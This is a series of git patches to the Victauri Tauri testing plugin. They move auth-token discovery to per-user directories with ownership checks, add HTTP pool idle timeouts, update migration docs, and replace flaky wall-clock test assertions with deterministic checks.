eval callbacks and invoke_command use `window.__TAURI_INTERNALS__.invoke()`, NOT `window.__TAURI__.core.invoke()`. `__TAURI_INTERNALS__` is always available regardless of `withGlobalTauri` config. `window.__TAURI__` only exists when the app sets `withGlobalTauri: true`. Discovered via real-world testing against En Croissant (v0.2.1 fix). @@ -1150,7 +1150,7 @@ Tested against 4 third-party open-source Tauri 2 apps with fully built frontends - **IPC replay** — `recording.replay` re-invokes the recorded IPC commands that succeeded with no arguments and reports each response type. Recordings do NOT capture arguments, so calls that had arguments (`arg_size_bytes > 0`), failed, or never completed are skipped and reported — replaying them without arguments is guaranteed wrong. Side effects of replayed commands happen again. No response-shape diff (use `introspect contract_*` for that). - **Explain tool** — Natural-language narration via `explain` compound tool. `summary` aggregates events over a time window into a narrative with type counts (IPC, DOM, console, state, window, interaction) and top commands. `last_action` maps events to a causal chain. `diff` counts IPC calls, DOM changes, console messages, errors, and interactions. Event source (`explain_events`): while recording, `EventLog.since()` (the drain keeps it current); otherwise the bridge's `getEventStream` is read ON DEMAND (not written into `EventLog`, so a later recording never double-counts). Network events are tallied as state changes and navigations as window events. Internal Victauri events filtered via `AppEvent::is_internal()`. - **Bridge ready signal** — JS bridge calls `victauri_eval_callback` with ID `__victauri_bridge_ready__` at the end of its IIFE initialization. `VictauriState.bridge_ready` (`AtomicBool`) + `bridge_notify` (`tokio::sync::Notify`) track readiness. `eval_with_return_timeout` waits up to 5s for this signal before first eval, using double-check pattern to close the race window. Separately, a liveness probe runs before EVERY eval — the default window as well as labeled ones (since 0.8.0) — so a dead/reloading bridge fails fast (~2s) instead of hanging the full eval timeout. -- **Discovery session tokens** — `start_server()` writes the active auth token to `/victauri//token` (user-only permissions: Unix 0o600, Windows icacls current-user-only). `VictauriClient::discover()` reads the token file and includes it as Bearer header. Zero-config: auth is on, token is auto-discovered, no manual setup needed. +- **Discovery session tokens** — `start_server()` writes the active auth token to `//token` under the per-user discovery root (`%TEMP%\victauri` on Windows; on Unix `$XDG_RUNTIME_DIR/victauri`, else `/victauri-`, else `~/.local/state/victauri`) (user-only permissions: Unix 0o600, Windows owner-only DACL; readers verify the root and PID dir are owned by the current user). `VictauriClient::discover()` reads the token file and includes it as Bearer header. Zero-config: auth is on, token is auto-discovered, no manual setup needed. - **`AppEvent::Console` variant** — `#[non_exhaustive]` `AppEvent` enum now has `Console { level, message, timestamp }` instead of mapping console logs to `StateChange { key: "console.warn", caused_by: message }`. Explain handlers count console events separately. `parse_bridge_event()` in `server.rs` creates `Console` variants. Backward-compatible addition (non-exhaustive enum). ### Relationship to 4DA: diff --git a/MIGRATION.md b/MIGRATION.md index 01a104ad..400d2693 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -125,8 +125,14 @@ implementations, so existing impls compile unchanged — `try_get_window_states` sends `Access-Control-Allow-Origin`. HTTP clients that send no `Origin` or `Sec-Fetch-Site` (curl, reqwest, the CLI, `victauri-test`) are unaffected. - On Unix the discovery directory moved to `$XDG_RUNTIME_DIR/victauri/` or - `/victauri-/`. The 0.9 CLI, test client and watchdog also read the old - `/victauri/` root, so they find apps built with 0.8.x; a 0.8.x client does not find a 0.9 app. + `/victauri-/`, and — when `/victauri-` is unusable (e.g. another + local user created it first) — `$XDG_STATE_HOME/victauri/` (default + `~/.local/state/victauri/`). The 0.9 CLI, test client, watchdog and VS Code extension scan + all of these plus the old `/victauri/` root, so they find apps built with 0.8.x; a 0.8.x + client does not find a 0.9 app. +- On Windows every discovery reader (CLI/bridge, `victauri-test`, watchdog, VS Code) now trusts a + discovery folder only if the current user owns it (or `BUILTIN\Administrators` does and the user + is a member) — the same rule the plugin uses when writing it. - `query_db` returns at most 256 columns (a wider `SELECT *` errors), suffixes duplicate column names (`a`, `a:1`), refuses `LIKE`/`GLOB` patterns over 1000 bytes, and answers "busy" when two database calls are already running. "database not found" also covers a path resolving outside @@ -191,6 +197,50 @@ implementations, so existing impls compile unchanged — `try_get_window_states` "victauri:allow-victauri-dom-snapshot" ] ``` +- **Refused page actions are tool errors.** `interact` (click/double_click/hover/focus/ + scroll_into_view/select_option), `input` (fill/type_text/press_key), `inspect` (e.g. an unknown + ref) and `route add` used to return a *successful* `{"ok": false, "error": "…", "hint": "…"}` when + the page refused the action. They now return an error: MCP `isError: true` with text + `"\n\n[hint: RETRY_LATER|CHECK_INPUT]"`, REST `{"error": ""}`. With + `victauri-test`, `client.click(..)` / `Locator::click(..)` and friends now return + `Err(TestError::ToolError(msg))` instead of `Ok(json)`; if you checked `result["ok"] == false`, + match on the error instead. Successful results are unchanged. +- `wait_for` `timeout_ms: 0` now means "check once, immediately" (it meant the 10 s default), and + a `wait_for` expression that does not parse fails at once instead of polling until its timeout. + `assert_semantic` / `verify_state` read an expression that evaluates to `undefined` as `null` + (`exists` false, `falsy` true) instead of failing; a trailing `;` or `// comment` is accepted. +- **`victauri-test` IPC checkpoints are `u64`** (they were `usize`, which truncated on 32-bit): + `create_ipc_checkpoint(&mut self) -> Result`, `get_ipc_calls_since(&mut self, + checkpoint: u64)` (and the deprecated `ipc_checkpoint` / `ipc_calls_since`). Code that passes the + value straight back needs no change; drop any `as usize` / `: usize`. +- `SmokeCheckResult` has a new `skipped` field (non-breaking: the type is `#[non_exhaustive]`): the + smoke suite no longer stops a recording it did not start — that check is reported as skipped. +- `css inject` (without `allow_remote`) rejects more remote-URL forms: `https:host/x`, `http:/host`, + `\\host`, `/\host`, `blob:` and any other scheme in a URL position, and any string naming a + remote host (e.g. `content:"https://…"`); only `data:` and scheme-less relative references pass. +- The animation `scrub` / `sample` helpers (`scrubPrepare`, `scrubSeek`, `scrubRestore`, + `installSweepRecorder`, `readSweep`) are no longer callable from page script on + `window.__VICTAURI__`; the `animation` tool is unchanged. +- Network-log URLs longer than 2048 characters are stored cut with a `…[+N chars]` marker (IPC + URLs never); route matching still sees the full URL. Route patterns now match the absolute URL, + the same-origin path+query+hash and the raw string, so a rule hits every spelling of a request. +- Page-callable commands: `victauri_get_ipc_log` without `limit` returns the newest 100 calls (pass + `limit`, max 1000, for more); `victauri_check_ipc_integrity` lists at most the newest 100 stale / + error calls (its counts still cover the whole log); a page-originated `victauri_eval_js` + returning `undefined` resolves to `"null"` (it timed out). +- `query_db` allows SQLite built-ins, SQLite's own FTS/R-Tree/Geopoly functions and app functions + registered as deterministic; any other app-registered function is refused with an error naming + it, and `load_extension` is never allowed. Register pure functions with `SQLITE_DETERMINISTIC`. +- `introspect db_health` has a new `integrity_check_note` field (`null` when the whole database was + checked); `integrity_check_kind` can be `"quick_check (per table)"` when the host app registered a + non-built-in virtual-table module (so none of its code runs). +- The server's request-head deadline — also its idle keep-alive timeout — is 10 s (was 30 s). The + 0.9 clients (CLI bridge, `victauri-test`, watchdog) drop pooled connections after 5 s; an HTTP + client of your own that keeps idle connections longer than 10 s should do the same. +- `victauri bridge --app` checks that the backend's `/info` reports that identity before forwarding + (any real plugin ≥ 0.7.4 does), and `VICTAURI_PORT` together with an app selector that names a + different app is refused (bridge, CLI and `victauri-test`) instead of driving the app on that port. +- `victauri doctor` exits 1 when any check fails (warnings still exit 0). - New in `victauri-test`: `invoke_command_with_timeout`, `discover_app`, the `terminal` sanitizer module and `health_status_means_alive`. - The config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 6483c049..17a81913 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -920,6 +920,10 @@ async fn forward_with_retries(bridge: &Bridge, msg: &Value) -> ForwardResult { fn build_client() -> Result { // The default; `post_message` sets each request's own (see `request_timeout_for`). reqwest::Client::builder() + // Below the plugin's 10 s idle keep-alive (its request-head deadline), so a pooled + // connection is never reused just as the server closes it (a request lost that way looks + // "possibly delivered" and a tool call is then not retried). + .pool_idle_timeout(std::time::Duration::from_secs(5)) .timeout(DEFAULT_REQUEST_TIMEOUT) .connect_timeout(std::time::Duration::from_secs(10)) .build() @@ -1518,6 +1522,10 @@ fn health_client() -> &'static reqwest::Client { static CLIENT: std::sync::OnceLock = std::sync::OnceLock::new(); CLIENT.get_or_init(|| { reqwest::Client::builder() + // Below the plugin's 10 s idle keep-alive (its request-head deadline), so a pooled + // connection is never reused just as the server closes it (a request lost that way looks + // "possibly delivered" and a tool call is then not retried). + .pool_idle_timeout(std::time::Duration::from_secs(5)) .connect_timeout(Duration::from_millis(1200)) .timeout(Duration::from_secs(3)) .build() diff --git a/crates/victauri-core/src/security.rs b/crates/victauri-core/src/security.rs index 65d529fb..139323ab 100644 --- a/crates/victauri-core/src/security.rs +++ b/crates/victauri-core/src/security.rs @@ -309,6 +309,8 @@ mod tests { #[test] fn rate_limiter_concurrent() { + // Started before the limiter: the refill clock can only have run for less than this. + let started = std::time::Instant::now(); let limiter = std::sync::Arc::new(RateLimiter::new(1000)); let mut handles = vec![]; for _ in 0..10 { @@ -328,7 +330,15 @@ mod tests { total >= 1000, "should dispense at least the initial budget, got {total}" ); - assert!(total <= 1200, "refill overshoot too high, got {total}"); + // The limiter refills 1,000 tokens/s (1 per elapsed ms), so the most it can hand out is + // the initial 1,000 plus 1 per millisecond the threads ran. A fixed ceiling (1,200) + // failed on a loaded machine where the loop simply took longer; anything above this + // bound is a real refill double-count. + let elapsed_ms = u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX); + assert!( + total <= 1000 + elapsed_ms + 1, + "refill overshoot: {total} tokens in {elapsed_ms} ms" + ); } // is_localhost_host diff --git a/crates/victauri-plugin/src/auth.rs b/crates/victauri-plugin/src/auth.rs index 3699806c..ff6b0788 100644 --- a/crates/victauri-plugin/src/auth.rs +++ b/crates/victauri-plugin/src/auth.rs @@ -63,6 +63,8 @@ mod tests { #[test] fn rate_limiter_concurrent_acquire() { + // Started before the limiter: the refill clock can only have run for less than this. + let started = std::time::Instant::now(); let limiter = Arc::new(RateLimiterState::new(1000)); let mut handles = vec![]; for _ in 0..10 { @@ -82,7 +84,15 @@ mod tests { total >= 1000, "should dispense at least the initial budget, got {total}" ); - assert!(total <= 1200, "refill overshoot too high, got {total}"); + // The limiter refills 1,000 tokens/s (1 per elapsed ms), so the most it can hand out is + // the initial 1,000 plus 1 per millisecond the threads ran. A fixed ceiling (1,200) + // failed on a loaded machine where the loop simply took longer; anything above this + // bound is a real refill double-count. + let elapsed_ms = u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX); + assert!( + total <= 1000 + elapsed_ms + 1, + "refill overshoot: {total} tokens in {elapsed_ms} ms" + ); } #[test] diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index cd8cf418..a9539b14 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -15,6 +15,10 @@ use std::time::{Duration, Instant}; pub(crate) struct InterruptGuard { done: Arc, handle: Option>, + /// How many times the watchdog woke up (test builds only): pins that it parks until the + /// deadline instead of polling in fixed steps. + #[cfg(test)] + wakes: Arc, } #[cfg(feature = "sqlite")] @@ -23,6 +27,10 @@ impl InterruptGuard { let done = Arc::new(AtomicBool::new(false)); let interrupt = conn.get_interrupt_handle(); let done_for_thread = done.clone(); + #[cfg(test)] + let wakes = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + #[cfg(test)] + let wakes_for_thread = Arc::clone(&wakes); // The watchdog PARKS until the deadline and is unparked on drop, so disarming is // immediate. (It used to sleep in fixed 25ms steps that the drop then joined — ~25ms // per guard however fast the guarded query was, which capped db_health at ~200 tables @@ -30,6 +38,8 @@ impl InterruptGuard { let handle = std::thread::spawn(move || { let start = Instant::now(); loop { + #[cfg(test)] + wakes_for_thread.fetch_add(1, Ordering::Relaxed); if done_for_thread.load(Ordering::Acquire) { return; } @@ -46,6 +56,8 @@ impl InterruptGuard { Self { done, handle: Some(handle), + #[cfg(test)] + wakes, } } } @@ -2192,27 +2204,46 @@ mod tests { // on drop), capping a 5s budget at ~200 tables even on a tiny database. let file = tempfile::NamedTempFile::with_suffix(".sqlite").unwrap(); let conn = rusqlite::Connection::open(file.path()).unwrap(); - let mut ddl = String::new(); + // One transaction: 400 autocommitted inserts cost a sync each (~75 s on a busy box). + let mut ddl = String::from("BEGIN;"); for i in 0..400 { ddl.push_str(&format!( "CREATE TABLE t{i} (x INTEGER); INSERT INTO t{i} VALUES (1);" )); } + ddl.push_str("COMMIT;"); conn.execute_batch(&ddl).unwrap(); drop(conn); - let started = Instant::now(); + // Budgets far above need, so a loaded machine cannot fail this: it checks that hundreds + // of tables are all listed and counted. The per-count cost that capped this at ~200 + // tables is pinned deterministically by `interrupt_guard_parks_instead_of_polling`. let r = db_health_report( file.path().to_str().unwrap(), - Duration::from_secs(5), - Duration::from_secs(5), + Duration::from_secs(60), + Duration::from_secs(60), ) .unwrap(); assert_eq!(r["tables"].as_array().unwrap().len(), 400); assert_eq!(r["row_counts_complete"], true, "{r}"); + } + + /// The watchdog used to sleep in fixed 25 ms steps that every guard's drop then joined — + /// ~25 ms per guarded statement however fast it was, which capped `db_health` at ~200 table + /// counts per 5 s budget. It must park until the deadline (woken early only by the drop). + /// Counted, not timed, so machine load cannot make this flaky. + #[test] + fn interrupt_guard_parks_instead_of_polling() { + let conn = rusqlite::Connection::open_in_memory().unwrap(); + let guard = InterruptGuard::arm(&conn, Duration::from_secs(60)); + let wakes = Arc::clone(&guard.wakes); + std::thread::sleep(Duration::from_millis(300)); + drop(guard); + let n = wakes.load(Ordering::Relaxed); + // One wake on start + one on the drop's unpark; allow one spurious park return. A 25 ms + // stepping watchdog would have woken ~12 times in 300 ms. assert!( - started.elapsed() < Duration::from_secs(4), - "400 trivial counts took {:?}", - started.elapsed() + n <= 3, + "the watchdog woke {n} times in 300 ms: it is polling" ); } @@ -2488,15 +2519,11 @@ mod tests { "SELECT name FROM users WHERE name LIKE ?", "SELECT name FROM users WHERE name GLOB ?", ] { - let started = Instant::now(); + // Refused per row BEFORE matching — the refusal itself is the proof. (A wall-clock + // bound here never discriminated: with three short rows the match is instant either + // way, and it only flaked on loaded machines.) let err = query(&path, sql, &[serde_json::json!(pattern)], None).unwrap_err(); assert!(err.contains("pattern too complex"), "{sql}: {err}"); - // Refused per row BEFORE matching (generous bound: loaded CI machines). - assert!( - started.elapsed() < Duration::from_secs(5), - "{:?}", - started.elapsed() - ); } // An ordinary pattern still works. let r = query( @@ -2514,13 +2541,28 @@ mod tests { #[test] fn lock_wait_is_short() { let (_f, path) = create_test_db(); + // The query connection's own busy timeout — deterministic, unlike wall time. + let pragma = query(&path, "PRAGMA busy_timeout", &[], None).unwrap(); + let configured = pragma["rows"][0] + .as_object() + .and_then(|row| row.values().next()) + .and_then(serde_json::Value::as_u64) + .unwrap_or_else(|| panic!("busy_timeout not reported: {pragma}")); + assert_eq!( + u128::from(configured), + QUERY_BUSY_TIMEOUT.as_millis(), + "{pragma}" + ); + assert!(QUERY_BUSY_TIMEOUT <= Duration::from_secs(1)); let locker = rusqlite::Connection::open(&path).unwrap(); locker.execute_batch("BEGIN EXCLUSIVE").unwrap(); let started = Instant::now(); let err = query(&path, "SELECT * FROM users", &[], None).unwrap_err(); assert!(err.contains("locked"), "{err}"); + // Loose wall bound (the pre-fix wait was 5 s + the 5 s CPU deadline); the exact + // configured timeout is asserted above. assert!( - started.elapsed() < Duration::from_secs(3), + started.elapsed() < Duration::from_secs(4), "lock wait took {:?}", started.elapsed() ); diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 7ff69aea..b50e0b4e 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -25,7 +25,10 @@ //! # Configuration //! //! Authentication is **enabled by default** with an auto-generated Bearer token -//! written to `/victauri//token` for client auto-discovery. The MCP +//! written to the per-user discovery directory (`//token`; the root is `%TEMP%\victauri` on +//! Windows, and on Unix `$XDG_RUNTIME_DIR/victauri`, `/victauri-` or +//! `~/.local/state/victauri`) for client +//! auto-discovery. The MCP //! server listens on `127.0.0.1` only and is gated behind `#[cfg(debug_assertions)]`. //! Use `.auth_token("...")` for a fixed token, or `.auth_disabled()` to opt out. //! @@ -367,7 +370,9 @@ impl VictauriState { /// via environment variables. /// /// **Authentication is enabled by default** with an auto-generated token written to -/// the discovery directory (`/victauri//token`). MCP clients that read +/// the per-user discovery directory (`//token`; the root is `%TEMP%\victauri` on +/// Windows, and on Unix `$XDG_RUNTIME_DIR/victauri`, `/victauri-` or +/// `~/.local/state/victauri`). MCP clients that read /// this file get seamless access. Set `VICTAURI_AUTH_TOKEN` for a fixed token, or /// call [`auth_disabled()`](VictauriBuilder::auth_disabled) to opt out for local-only /// single-user development. @@ -473,9 +478,11 @@ impl VictauriBuilder { /// /// **Authentication is already enabled by default** (see [`Self::auth_disabled`]), /// so this call is redundant in normal use and is kept for explicitness and - /// backward compatibility. The token is printed to the log on startup and written - /// to the discovery directory (`/victauri//token`) for client - /// auto-discovery. + /// backward compatibility. The token is never logged; it is written only to + /// the per-user discovery directory (`//token`; the root is `%TEMP%\victauri` on + /// Windows, and on Unix `$XDG_RUNTIME_DIR/victauri`, `/victauri-` or + /// `~/.local/state/victauri`) + /// for client auto-discovery. #[must_use] pub fn auth_enabled(mut self) -> Self { self.auth_explicitly_enabled = true; @@ -1229,7 +1236,9 @@ fn emit_security_banner(port: u16) { /// Initialize the Victauri plugin with default settings (port 7373 or `VICTAURI_PORT` env var). /// /// In debug builds: starts the embedded MCP server with **authentication enabled** -/// (auto-generated token written to `/victauri//token`), injects the JS +/// (auto-generated token written to the per-user discovery directory (`//token`; the root is `%TEMP%\victauri` on +/// Windows, and on Unix `$XDG_RUNTIME_DIR/victauri`, `/victauri-` or +/// `~/.local/state/victauri`)), injects the JS /// bridge, and registers all Tauri command handlers. /// /// In release builds: returns a no-op plugin. The MCP server, JS bridge, and diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index d9d62b4c..72513350 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -5214,7 +5214,7 @@ impl VictauriMcpHandler { // never ran. // // The window check runs in its own task: listing windows is a main-thread round trip - // that can take up to its 10s dispatch timeout on a busy UI, and must neither stall this + // that can take up to ~2x its 10s dispatch timeout (about 20s) on a busy UI, and must neither stall this // wait nor push it past its deadline. A listing that FAILS (a busy or wedged UI) is not // evidence of anything — only a successful listing that lacks the window is. let watched: Option = (!target.is_empty()).then_some(target); diff --git a/crates/victauri-test/src/app.rs b/crates/victauri-test/src/app.rs index fd2ef120..82b1dafb 100644 --- a/crates/victauri-test/src/app.rs +++ b/crates/victauri-test/src/app.rs @@ -199,6 +199,10 @@ impl TestApp { async fn wait_for_ready(&mut self, timeout: Duration) -> Result<(), TestError> { let http = reqwest::Client::builder() + // Below the plugin's 10 s idle keep-alive (its request-head deadline), so a pooled + // connection is never reused just as the server closes it (a request lost that way looks + // "possibly delivered" and a tool call is then not retried). + .pool_idle_timeout(std::time::Duration::from_secs(5)) .timeout(Duration::from_secs(2)) .build() .map_err(|e| TestError::Connection { diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index f9421487..5cd15768 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -315,6 +315,10 @@ impl VictauriClient { let host = "127.0.0.1"; let base_url = format!("http://{host}:{port}"); let http = reqwest::Client::builder() + // Below the plugin's 10 s idle keep-alive (its request-head deadline), so a pooled + // connection is never reused just as the server closes it (a request lost that way looks + // "possibly delivered" and a tool call is then not retried). + .pool_idle_timeout(std::time::Duration::from_secs(5)) .timeout(DEFAULT_REQUEST_TIMEOUT) .connect_timeout(std::time::Duration::from_secs(10)) .build() diff --git a/crates/victauri-test/src/smoke.rs b/crates/victauri-test/src/smoke.rs index 7e4b21bb..50f8e60c 100644 --- a/crates/victauri-test/src/smoke.rs +++ b/crates/victauri-test/src/smoke.rs @@ -553,6 +553,25 @@ impl VictauriClient { }}; } + // A check that may be SKIPPED: its expression yields `Ok(Some(reason))` when it chose not + // to run (the reason becomes the detail), `Ok(None)` when it passed. + macro_rules! skippable_check { + ($name:expr, $expr:expr) => {{ + let start = Instant::now(); + let outcome: Result, TestError> = $expr; + checks.push(SmokeCheckResult { + name: $name.to_string(), + passed: outcome.is_ok(), + skipped: matches!(outcome, Ok(Some(_))), + detail: match outcome { + Ok(reason) => reason.unwrap_or_default(), + Err(e) => e.to_string(), + }, + duration: start.elapsed(), + }); + }}; + } + check!("eval_js works", self.assert_eval_works().await); check!("DOM snapshot valid", self.assert_dom_snapshot_valid().await); check!( @@ -576,18 +595,10 @@ impl VictauriClient { self.assert_heap_under_mb(config.max_heap_mb).await ); // Skippable: never ends a recording another client has in progress (R5B-SMOKE1). - let start = Instant::now(); - let outcome = self.recording_lifecycle_check().await; - checks.push(SmokeCheckResult { - name: "recording lifecycle".to_string(), - passed: outcome.is_ok(), - skipped: matches!(outcome, Ok(Some(_))), - detail: match outcome { - Ok(reason) => reason.unwrap_or_default(), - Err(e) => e.to_string(), - }, - duration: start.elapsed(), - }); + skippable_check!( + "recording lifecycle", + self.recording_lifecycle_check().await + ); check!( "health endpoint hardened", self.assert_health_hardened().await diff --git a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index 3413f15f..746dc4ec 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -652,6 +652,10 @@ async fn main() -> anyhow::Result<()> { ); let client = reqwest::Client::builder() + // Below the plugin's 10 s idle keep-alive (its request-head deadline), so a pooled + // connection is never reused just as the server closes it (a request lost that way looks + // "possibly delivered" and a tool call is then not retried). + .pool_idle_timeout(std::time::Duration::from_secs(5)) .timeout(Duration::from_secs(5)) .build()?; diff --git a/docs/src/tools-reference.md b/docs/src/tools-reference.md index 788fadd7..7d33cfb2 100644 --- a/docs/src/tools-reference.md +++ b/docs/src/tools-reference.md @@ -788,7 +788,11 @@ Deep backend introspection — command performance profiling, IPC contract testi per-table `row_count` (counted under a 5 s budget — tables not reached get `row_count: null` and `row_counts_complete: false`; the listing is capped and flagged by `tables_truncated`); and `integrity_check` from SQLite `PRAGMA quick_check` under its own -5 s budget. On a large database `quick_check` may report +5 s budget. When the file may contain virtual tables and the host app has registered a +non-built-in virtual-table module, the check runs table by table over ordinary tables only +(`integrity_check_kind: "quick_check (per table)"`, reason in `integrity_check_note`), so no +app-registered module code runs; otherwise `integrity_check_note` is `null`. On a large +database `quick_check` may report `"not completed: … exceeded its budget …"` — that means *unknown*, not corrupt. It never checkpoints or inspects the `-wal` file (`wal_checkpoint` is reported as "not run (read-only diagnostics)" in WAL mode). diff --git a/scripts/check-doc-counts.sh b/scripts/check-doc-counts.sh index 6404ac29..fcf89031 100755 --- a/scripts/check-doc-counts.sh +++ b/scripts/check-doc-counts.sh @@ -60,7 +60,7 @@ expect "plugin README 'N MCP tools across three layers'" "$tools" \ crates/victauri-plugin/README.md # ── Smoke-suite check count (`victauri test`, `VictauriClient::smoke_test`) ─── -checks=$(count 'check!\(' crates/victauri-test/src/smoke.rs) +checks=$(count '(skippable_)?check!\(' crates/victauri-test/src/smoke.rs) echo "Smoke checks defined in code: $checks" expect "README 'all N smoke checks'" "$checks" \ "$(grep -oE 'all [0-9]+ smoke checks' README.md | grep -oE '[0-9]+' || true)" \ From ac1afadf66917ceb555bbcac853ae0e406d893fd Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 12:29:12 +1000 Subject: [PATCH 164/167] fix(db): collapse a stray run of spaces in the function-list fallback log message Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/database.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index a9539b14..f462a226 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -1020,7 +1020,7 @@ impl QueryPolicy { fn for_connection(conn: &rusqlite::Connection) -> Self { let mut functions = Self::listed_functions(conn).unwrap_or_else(|e| { tracing::debug!( - "query_db: pragma_function_list unavailable ({e}); allowing only SQLite's built-in functions" + "query_db: pragma_function_list unavailable ({e}); allowing only SQLite's built-in functions" ); SQLITE_BUILTIN_FUNCTIONS .iter() From a981634e12f0dafd659e23cb6c29091fa760ab13 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 12:48:37 +1000 Subject: [PATCH 165/167] test(bridge): R5B-XHR1 waits for each request's real loadend (Windows CI) The loadend helper resolved false after a 2 s fallback. The requests go to the jsdom origin with no server, and on the Windows runner a refused localhost connection takes ~2 s to fail (TCP retries), so the fallback fired first and the test read an entry that was genuinely still in flight (then correctly aborted by the next open()). The fallback is 15 s and the test now asserts every request's loadend actually fired. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- .../victauri-plugin/tests/bridge_r5b_tests.rs | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index cc7e8dda..7c167351 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -381,26 +381,31 @@ fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { r" var V = window.__VICTAURI__; function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); } + // Resolves true on `loadend`, false only if it never came. The requests go to the + // jsdom origin with no server behind it, and a refused localhost connection can + // take ~2 s to fail (Windows retries it) - the old 2 s fallback then fired first + // and the test read an entry that was genuinely still in flight. function loadend(x, ms) { return new Promise(function(r) { x.addEventListener('loadend', function() { r(true); }, { once: true }); - setTimeout(function() { r(false); }, ms || 2000); + setTimeout(function() { r(false); }, ms || 15000); }); } + var ended = []; var x = new XMLHttpRequest(); - x.open('GET', '/r5b/one'); var p = loadend(x); x.send(); await p; + x.open('GET', '/r5b/one'); var p = loadend(x); x.send(); ended.push(await p); var first = V.getNetworkLog('/r5b/', 10)[0]; await sleep(80); - x.open('GET', '/r5b/two'); p = loadend(x); x.send(); await p; + x.open('GET', '/r5b/two'); p = loadend(x); x.send(); ended.push(await p); await sleep(80); - x.open('GET', '/r5b/three'); p = loadend(x); x.send(); await p; + x.open('GET', '/r5b/three'); p = loadend(x); x.send(); ended.push(await p); var log = V.getNetworkLog('/r5b/', 10); // Re-open while a (route-delayed) request is still pending. V.addRoute({ pattern: '/r5c/slow', action: 'delay', delay_ms: 150 }); var y = new XMLHttpRequest(); y.open('GET', '/r5c/slow'); y.send(); - y.open('GET', '/r5c/after'); p = loadend(y); y.send(); await p; + y.open('GET', '/r5c/after'); p = loadend(y); y.send(); ended.push(await p); await sleep(300); var log2 = V.getNetworkLog('/r5c/', 10); @@ -410,16 +415,17 @@ fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { var events = []; z.addEventListener('error', function() { events.push('error'); }); z.open('GET', '/r5d/blocked'); p = loadend(z, 500); z.send(); - var ended = await p; + var blockedEnded = await p; return { + requests_ended: ended, urls: log.map(function(e) { return e.url; }), ids_distinct: new Set(log.map(function(e) { return e.id; })).size, first_status: first.status, first_duration: first.duration_ms, first_after: { status: log[0].status, duration: log[0].duration_ms }, pending: log.filter(function(e) { return e.status === 'pending'; }).length, reopen: log2.map(function(e) { return e.url + '=' + e.status; }), - blocked_loadend: ended, blocked_events: events, + blocked_loadend: blockedEnded, blocked_events: events, }; ", )], @@ -429,6 +435,12 @@ fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { }; assert_all_pass(&results); let r = result(&results, 0); + // Every request really finished (loadend fired) before its entry was read. + assert_eq!( + r["requests_ended"], + serde_json::json!([true, true, true, true]), + "{r}" + ); assert_eq!( r["urls"], serde_json::json!(["/r5b/one", "/r5b/two", "/r5b/three"]), From b5d8f4adc3748bfd6b803e6895e4fadd003d5962 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 13:25:57 +1000 Subject: [PATCH 166/167] test(bridge): R5B-XHR1 asserts the re-opened request finished, not how the host answered On the Windows runner something answers the jsdom origin with 404 (locally nothing listens, so the request ends as `error`). The property under test is that re-open closes the first entry as `aborted` and the second reaches a final state. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- .../victauri-plugin/tests/bridge_r5b_tests.rs | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs index 7c167351..6764fbbf 100644 --- a/crates/victauri-plugin/tests/bridge_r5b_tests.rs +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -453,10 +453,19 @@ fn r5b_xhr1_reused_xhr_keeps_one_entry_per_request() { "a later request on the same XHR rewrote the first entry: {r}" ); assert_eq!(r["first_after"]["status"], r["first_status"], "{r}"); - assert_eq!( - r["reopen"], - serde_json::json!(["/r5c/slow=aborted", "/r5c/after=error"]), - "{r}" + // Re-opening mid-flight closes the first request's entry as `aborted`; the second request + // gets its own entry that reaches a final state. Which final state depends on the host (no + // server behind the jsdom origin -> `error`; a CI runner answered `404`), so only + // "finished, not pending/aborted" is asserted for it. + let reopen = r["reopen"].as_array().expect("reopen entries"); 